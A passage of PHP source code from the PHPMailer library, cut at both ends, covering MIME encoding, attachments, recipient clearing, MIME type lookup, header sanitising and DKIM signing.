- strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n 